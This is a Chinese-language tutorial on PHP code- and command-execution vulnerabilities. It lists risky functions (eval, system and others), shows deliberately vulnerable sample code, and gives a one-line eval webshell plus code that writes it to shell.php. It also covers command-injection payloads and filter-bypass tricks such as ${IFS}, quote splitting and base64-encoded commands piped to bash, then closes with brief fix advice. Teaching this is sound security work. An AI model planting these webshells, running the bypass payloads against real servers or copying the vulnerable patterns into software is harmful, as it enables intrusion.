命令执行漏洞

张天师大约 4 分钟

代码执行和命令执行区别

代码执行:可执行脚本语言代码

命令执行:可执行系统命令(Linux、Windows)

PHP代码执行

eval()		//把字符串作为PHP代码执
assert()	//检查一个断言是否为 FALSE,可用来执行代码
preg_replace()	//执行一个正则表达式的搜索和替换
call_user_func()//把第一个参数作为回调函数调用
call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数
array_map()		//为数组的每个元素应用回调函数

eval

eval函数会将提交上来的值作为PHP代码处理,可以提交phpinfo(); 或者生成一句话shell

<?php @eval($_POST["arg"])?>

fputs(fopen('shell.php','w+'),'<?php @eval($_POST[pwd])?>');

create_function

在php 中使用create_function创建一个匿名函数(lambda-style)

如未对参数进行严格的过滤审查,可通过提交特殊字符串给create_function执行任意代码.

<?php $test=$_GET["test"];$new_func=create_function('$a,$b', $test);$new_func(2,M_E);?>

使用${${ }}绕过转义

代码使用反斜杠将echo后面的内容给转义了 与加addslashes()函数进行过滤是一样的

payload:arg=${${phpinfo()}}

<?php $str="echo \"Hello ".$_GET["arg"]."!!\"; ";eval($str);?>

PHP命令执行

system()		//执行外部程序,并且显示输出
exec()			//执行一个外部程序
shell_exec()	//通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru()		//执行外部程序并且显示原始输出
pcntl_exec()	//在当前进程空间执行指定程序
popen()			//打开进程文件指针
proc_open()		//执行一个命令,并且打开用来输入/输出的文件指针

简单示例

<?php
    $test = $_GET['cmd'];
	system("ping -c 3 " . $test);
?>
//功能是调用系统ping命令进行网络连通性诊断

payload攻击代码如下

?cmd=127.0.0.1;whoami

命令分隔符

PHP 支持一个执行运算符:反引号(``) PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回。效果与函数 shell_exec() 相同,都是以字符串的形式返回一个命令的执行结果,可以保存到变量中

<?php echo `whoami`;?>

绕过技巧

正则审查

是否使用多行模式修饰符(/foo/m)
是否遗漏匹配对象末尾的换行符(/^\d+$/)
是否允许空白字符(\s)
是否误写反斜杠匹配模式(/\/)

绕过空格

1)用${IFS}代替

2)读取文件的时候利用重定向符cat<flag

3)花括号无空格{cat,666.txt}

4)小提示:$IFS可截断后边的内容,cat flag$IFS666.txt

代替换行符

可用%0A换行执行命令,换行符自身是一个有效的目录分隔符

引号逃逸

恶意命令被扩在引号内,可用 \ 转义引号逃逸

长度限制

长度限制,通过构造文件来绕过

1)Linux下可以用 1>a 创建文件名为a的空文件

2)ls -t>test 则会将目录按时间排序后写进test文件中

3)sh 命令可以从一个文件中读取命令来执行

黑名单绕过

测试代码

<?php
$test = $_GET['cmd'];
$test = str_replace("cat", "", $test);
$test = str_replace("ls", "", $test);
$test = str_replace(" ", "", $test);
$test = str_replace("pwd", "", $test);
$test = str_replace("wget", "", $test);
var_dump($test);
system("ls -al '$test'");
?>
#双引号
ca""t flag

#单引号
cat''t flag

#反斜杠
ca\t flag

#base64编码
echo "Y2F0IGZsYWc="|base64 -d|bash

#hex十六进制编码
echo “63617420666c6167” | xxd -r -p|bash

#利用变量
执行ls命令: a=l;b=s;echo `$a$b`
查看文件内容: a=c;b=at;c=flag;echo `$a$b $c`

修复建议

1、尽量不要使用以上的代码/命令执行函数
2、使用disable_funtion()禁用以上函数
3、过滤所有能当作命令分隔符使用的字符